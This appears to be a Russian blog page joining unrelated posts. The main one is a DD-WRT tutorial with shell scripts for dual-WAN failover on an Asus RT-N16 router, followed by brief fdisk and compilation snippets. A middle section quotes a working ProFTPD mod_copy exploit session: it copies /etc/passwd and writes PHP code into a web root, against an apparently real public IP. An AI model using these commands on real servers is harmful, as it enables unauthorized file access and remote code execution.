Решение не универсальное, но, как мне кажется, очень простое и на его основе неискушенные пользователи смогут, если не создать свое, то просто расширить свой кругозор и понимание этой популярной прошивки.

Я использую роутер asus rt-n16 и прошивку от тов. Kong 22000++. Интернет от основного провайдера приходит ко мне по кабелю, все настройки получаются роутером по dhcp.

Фактически, все по умолчанию. Адрес роутера во внутренней сети сменен на 192.168.199.1.

Переключение каналов интернета будет выполняться скриптом, который мы создадим во внутренней памяти роутера JFFS2, соответственно, нужно эту внутреннюю память включить.

После включения JFFS2 память нужно очистить. Для этого выберем «Clean JFFS2» и нажмем применить. Возможно, нужно будет перезагрузить роутер. Наша задача — добиться того, чтобы появилось свободное место в этой памяти.

Теперь зайдем на роутер при помощи telnet. Я использую для этого putty:

putty -telnet 192.168.199.1

Имя пользователя root, даже если для логина в вебинтерфейс dd-wrt вы используете другое имя. Пароль — тот, который вы используете для логина в вебинтерфейс.

Следующий шаг. Мы подключаем резервный кабель в порт LAN1 роутера. В моем случае резервный кабель идет от оборудования GPON, которое поставил МГТС. Это оборудование раздает интернет в своей локальной сети 192.168.100.0/255.255.255.0. Нам нужно будет «оторвать» необходимый порт нашего роутера от остальных портов и назначить ему адрес из сети оборудования GPON, например, 192.168.100.200.

Теперь информация специфичная для конкретной железки, а именно asus rt-n16. Наберем в терминале следующие команды и посмотрим ответ:

root@DD-WRT:~# nvram show | grep vlan.*port
vlan2ports=0 8
vlan0ports=1 2 3 4 5*
vlan1ports=4 3 2 1 8*
size: 29978 bytes (2790 left)
root@DD-WRT:~# nvram show | grep vlan.*hw
vlan2hwname=et0
vlan1hwname=et0
vlan0hwname=et0
size: 29978 bytes (2790 left)

Группы портов объединенны в вэланы. Порт 0 — это WAN порт роутера, порты 1234 — это порты роутера, которые соответствуют (внимание!) портам LAN4,LAN3,LAN2,LAN1 роутера, то есть порт 4 подписан на корпусе роутера LAN1. Порт 8 и порт 8* — это порты процессора, через них мы будем видеть интерфейсы в роутере. Я не хочу вдаваться в подробности, принципиально то, что любой вэлан должен замыкаться на процессор роутера. Давайте «оторвем» 4-ый порт:

root@DD-WRT:~# nvram set vlan0ports="1 2 3 5*"
root@DD-WRT:~# nvram set vlan1ports="3 2 1 8*"

а теперь назначим 4 порт в 3-ий вэлан

root@DD-WRT:~# nvram set vlan3ports="4 8"

для того, чтобы новый вэлан был виден, нужно ввести команду

root@DD-WRT:~# nvram set vlan3hwname=et0

сохраним изменения

root@DD-WRT:~# nvram commit

По аналогии, можно сделать для других роутеров с прошивкой dd-wrt.

Адрес нашему новому интерфейсу, который связан с 4-ым портом, мы будем назначать из скрипта при старте. Поэтому, давайте начнём этот скрипт писать. Но прежде, где он будет храниться. Как учит нас Боконон dd-wrt wiki, всякий скрипт в папке /jffs/etc/config/ с расширением .startup выполняется при запуске системы до того, как файрвол будет сконфигурирован. Назовём наш скрипт vlan3.startup и напишем следующие строки:

#!/bin/sh
WAN2_IFNAME=vlan3
WAN2_IPADDR=192.168.100.200
WAN2_GATEWAY=192.168.100.1
WAN2_NETMASK=255.255.255.0
if [ "$(nvram get wan2_ipaddr)" != "$WAN2_IPADDR" ]; then
   nvram set wan2_ifname=$WAN2_IFNAME
   nvram set wan2_ipaddr=$WAN2_IPADDR
   nvram set wan2_gateway=$WAN2_GATEWAY
   nvram set wan2_netmask=$WAN2_NETMASK
   nvram commit
fi
ifconfig $(nvram get wan2_ifname) up $(nvram get wan2_ipaddr) netmask $(nvram get wan2_netmask)

В этих строках всё просто. Мы завели в nvram 4-ре новые переменные и занесли в них название интерфейса, адрес, маску и шлюз для нашего резервного порта интернет. Каждый раз при старте мы проверяем, что адрес именно тот, который задан в переменной скрипта, это на случай, если потребуется поменять настройки резервного интернета. Далее кофигурируем порт заданными значениями. С текущими переменными это выглядело бы так:
ifconfig vlan3 up 192.168.100.200 netmask 255.255.255.0

Добавим к нашему скрипту бесконечный цикл, в котором и будем переключать интернет канал на резервный и обратно:

INTERVAL=30

while sleep $INTERVAL
do
        WAN1ALIVE=0
        WAN2USING=0
        WAN1GW=`nvram get wan_gateway`

        echo "check"

        if [ "$WAN1GW" != "0.0.0.0" ]; then
                if [ "1" = `ping -c 1 $WAN1GW 2>/dev/null | awk    '/packets received/ {print $4}'` ]; then
                        WAN1ALIVE=1
                        echo "wan1alive"
                fi
        fi

        TARGET=`ip -4 route list 0/0  | awk -v gate="via "$WAN2_GATEWAY '$0 ~ gate {print $3}'`
        if [ ! -z "$TARGET" ]; then
                WAN2USING=1
                echo "wan2using"
        fi

        if [ "$WAN1ALIVE" = "1" ] && [ "$WAN2USING" = "1" ]; then
                /jffs/etc/config/wan1.up
                echo "Changed active WAN port to 1!"
        fi

        if [ "$WAN1ALIVE" = "0" ] && [ "$WAN2USING" = "0" ]; then
                if [ "1" = `ping -c 1 $WAN2_GATEWAY 2>/dev/null | awk '/packets received/ {print $4}'` ]; then
                        /jffs/etc/config/wan2.up
                        echo "Changed active WAN port to 2!"
                fi
        fi

done;

Словами этот длинный кусок кода можно описать так. Каждые n-цать секунд мы проверяем:

  1. Текущий адрес шлюза основного канала. Он хранится в переменной wan_gateway в nvram и назначается автоматически, когда основной шлюз получает параметры по dhcp от основного провайдера. Если этот адрес не равен «0.0.0.0», а «0.0.0.0» он равен тогда, когда адрес не может быть получен, то есть провайдер лежит, мы его пингуем и в случае ответа устанавливаем флаг WAN1ALIVE в единицу, то есть основной канал предполагается рабочим.
  2. Присутствует ли адрес резервного шлюза в таблице роутинга. Если присутствует, то устанавливаем флаг WAN2USING=1, то есть в данный момент используется резервный интернет канал.
  3. Если основной канал работает и используется резервный канал, то переключаемся на основной канал интернет.
  4. Если основной канал не работает и не используется резервный канал, то тестируем доступность шлюза резервного канала и переключаемся на рабочий резерв.

Скрипт включения основного канала wan1.up:

#!/bin/sh
# WAN1
DEV=vlan2
GATEWAY=`nvram get wan_gateway`
DNS1=8.8.8.8
DNS2=8.8.4.4

nvram set wan_dns="$DNS1 $DNS2"
while ip route del default; do :; done
ip route add default via $GATEWAY dev $DEV
echo "nameserver $DNS1" >/tmp/resolv.dnsmasq
echo "nameserver $DNS2" >>/tmp/resolv.dnsmasq
pr="$(ps|awk '/dnsmasq/ {print $1}')"
kill -9 $pr
dnsmasq --conf-file=/tmp/dnsmasq.conf

Здесь все просто. Удалили все шлюзы по умолчанию. Да-да, их может быть несколько: если после перезагрузки роутера был недоступен основной канал, то включается резервный интернет и мы имеем один шлюз по умолчанию. Если затем начинает работать основной канал, dd-wrt добавляет ещё один шлюз по умолчанию. Тут уж ничего не поделать. Не хотелось долго думать и появился «грязный хак»: while ip route del default; do :; done, а именно удалять все шлюзы по умолчанию, пока не случится ошибка из-за того, что шлюзов больше нет. Некрасиво, придумайте, как лучше.

После того, как удалили все шлюзы по умолчанию, добавим новый шлюз, который записан в переменную wan_gateway nvram (его туда записала логика dd-wrt при получения параметров от основного провайдера). Заменим dns на dns гугл, убьем процесс dnsmasq и запустим этот процесс вновь.

Скрипт для включения резервного канала wan2.up устроен таким-же образом, но адрес шлюза берётся из пременной wan2_gateway nvram и используется интерфейс связанный с 4-ым портом роутера.

#!/bin/sh
# WAN2
DEV=vlan3
GATEWAY=`nvram get wan2_gateway`
DNS1=8.8.8.8
DNS2=8.8.4.4

nvram set wan_dns="$DNS1 $DNS2"
while ip route del default; do :; done
ip route add default via $GATEWAY dev $DEV
echo "nameserver $DNS1" >/tmp/resolv.dnsmasq
echo "nameserver $DNS2" >>/tmp/resolv.dnsmasq
pr="$(ps|awk '/dnsmasq/ {print $1}')"
kill -9 $pr
dnsmasq --conf-file=/tmp/dnsmasq.conf

Остался маленький скриптик vlan3.wanup, который выполняется после поднятия WAN, сразу после того, как включится файрволл:

#!/bin/sh
iptables -t nat -A POSTROUTING -o $(nvram get wan2_ifname) -j SNAT --to $(nvram get wan2_ipaddr)

Назначение скриптика — добавить правило для ната через резервный интерфейс.

Теперь можно перезагрузить роутер и тестировать. Все скрипты были взяты из моего роутера который живёт своей жизнь и тестирует полученную конфигурацию продолжительное время.

Целиком скрипт выглядит вот так:

Вставляем в окно telnet\ssh следующую простыню и нажимаем «Enter»:

nvram set vlan0ports="1 2 3 5*"
nvram set vlan1ports="3 2 1 8*"
nvram set vlan3ports="4 8"
nvram set vlan3hwname=et0
nvram commit
mkdir -p /jffs/etc/config
cat << 'EOF' > /jffs/etc/config/vlan3.startup
#!/bin/sh
WAN2_IFNAME=vlan3
WAN2_IPADDR=192.168.100.200
WAN2_GATEWAY=192.168.100.1
WAN2_NETMASK=255.255.255.0
if [ "$(nvram get wan2_ipaddr)" != "$WAN2_IPADDR" ]; then
   nvram set wan2_ifname=$WAN2_IFNAME
   nvram set wan2_ipaddr=$WAN2_IPADDR
   nvram set wan2_gateway=$WAN2_GATEWAY
   nvram set wan2_netmask=$WAN2_NETMASK
   nvram commit
fi
ifconfig $(nvram get wan2_ifname) up $(nvram get wan2_ipaddr) netmask $(nvram get wan2_netmask)

INTERVAL=30

while sleep $INTERVAL
do
        WAN1ALIVE=0
        WAN2USING=0
        WAN1GW=`nvram get wan_gateway`

        echo "check"

        if [ "$WAN1GW" != "0.0.0.0" ]; then
                if [ "1" = `ping -c 1 $WAN1GW 2>/dev/null | awk    '/packets received/ {print $4}'` ]; then
                        WAN1ALIVE=1
                        echo "wan1alive"
                fi
        fi

        TARGET=`ip -4 route list 0/0  | awk -v gate="via "$WAN2_GATEWAY '$0 ~ gate {print $3}'`
        if [ ! -z "$TARGET" ]; then
                WAN2USING=1
                echo "wan2using"
        fi

        if [ "$WAN1ALIVE" = "1" ] && [ "$WAN2USING" = "1" ]; then
                /jffs/etc/config/wan1.up
                echo "Changed active WAN port to 1!"
        fi

        if [ "$WAN1ALIVE" = "0" ] && [ "$WAN2USING" = "0" ]; then
                if [ "1" = `ping -c 1 $WAN2_GATEWAY 2>/dev/null | awk '/packets received/ {print $4}'` ]; then
                        /jffs/etc/config/wan2.up
                        echo "Changed active WAN port to 2!"
                fi
        fi

done;
EOF
chmod +x /jffs/etc/config/vlan3.startup
cat << 'EOF' > /jffs/etc/config/vlan3.wanup
#!/bin/sh
iptables -t nat -A POSTROUTING -o $(nvram get wan2_ifname) -j SNAT --to $(nvram get wan2_ipaddr)
EOF
chmod +x /jffs/etc/config/vlan3.wanup
cat << 'EOF' > /jffs/etc/config/wan1.up
#!/bin/sh
# WAN1
DEV=vlan2
GATEWAY=`nvram get wan_gateway`
DNS1=8.8.8.8
DNS2=8.8.4.4

nvram set wan_dns="$DNS1 $DNS2"
#`ip -4 route list 0/0  | awk '/default via/ {print "ip route delete default"}'` | sh
# ip route delete default
while ip route del default; do :; done
ip route add default via $GATEWAY dev $DEV
echo "nameserver $DNS1" >/tmp/resolv.dnsmasq
echo "nameserver $DNS2" >>/tmp/resolv.dnsmasq
pr="$(ps|awk '/dnsmasq/ {print $1}')"
kill -9 $pr
dnsmasq --conf-file=/tmp/dnsmasq.conf
EOF
chmod +x vi /jffs/etc/config/wan1.up
cat << 'EOF' > /jffs/etc/config/wan2.up
#!/bin/sh
# WAN2
DEV=vlan3
GATEWAY=`nvram get wan2_gateway`
DNS1=8.8.8.8
DNS2=8.8.4.4

nvram set wan_dns="$DNS1 $DNS2"
#`ip -4 route list 0/0  | awk '/default via/ {print "ip route delete default"}'`|sh
# ip route delete default
while ip route del default; do :; done
ip route add default via $GATEWAY dev $DEV
echo "nameserver $DNS1" >/tmp/resolv.dnsmasq
echo "nameserver $DNS2" >>/tmp/resolv.dnsmasq
pr="$(ps|awk '/dnsmasq/ {print $1}')"
kill -9 $pr
dnsmasq --conf-file=/tmp/dnsmasq.conf
EOF
chmod +x /jffs/etc/config/wan2.up

 

Уязвимость proftpd.

---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------

He provides another, scarier example:

------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------

test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter

Использование fdisk.

Обычно переразбиение диска производится с помощью программы fdisk для Linux, которая запускается на одном из этапов установки. Кроме этого, в современных дистрибутивах, пользователь может столкнуться со специальными мастерами(wizard), являющимися надстройками fdisk, и позволяющими графически представлять разбиение диска на разделы. Программа fdisk имеет интерфейс командной строки.

После загрузки средств инсталляции выполните команду fdisk, напечатав

fdisk <drive>

Read More «Использование fdisk.»

GHostOne Ubuntu Компиляция

I. Подготовка.

  • 1. Переходим во временную папку:
    Код:
    cd /tmp

    2. Устанавливаем нужные пакеты:

    Код:
    sudo apt-get install build-essential libmysql++-dev wget libbz2-dev libgmp3-dev subversion

II. Компиляция и установка boost.

  • 1. Качаем boost:
    Код:
    sudo wget http://downloads.sourceforge.net/project/boost/boost/1.38.0/boost_1_38_0.tar.bz2

    2. Распаковываем boost:

  •  
    Код:
    sudo tar xjf boost_1_38_0.tar.bz2

    3. Переходим в папку с boost’ом:

    Код:
    cd boost_1_38_0

    Read More «GHostOne Ubuntu Компиляция»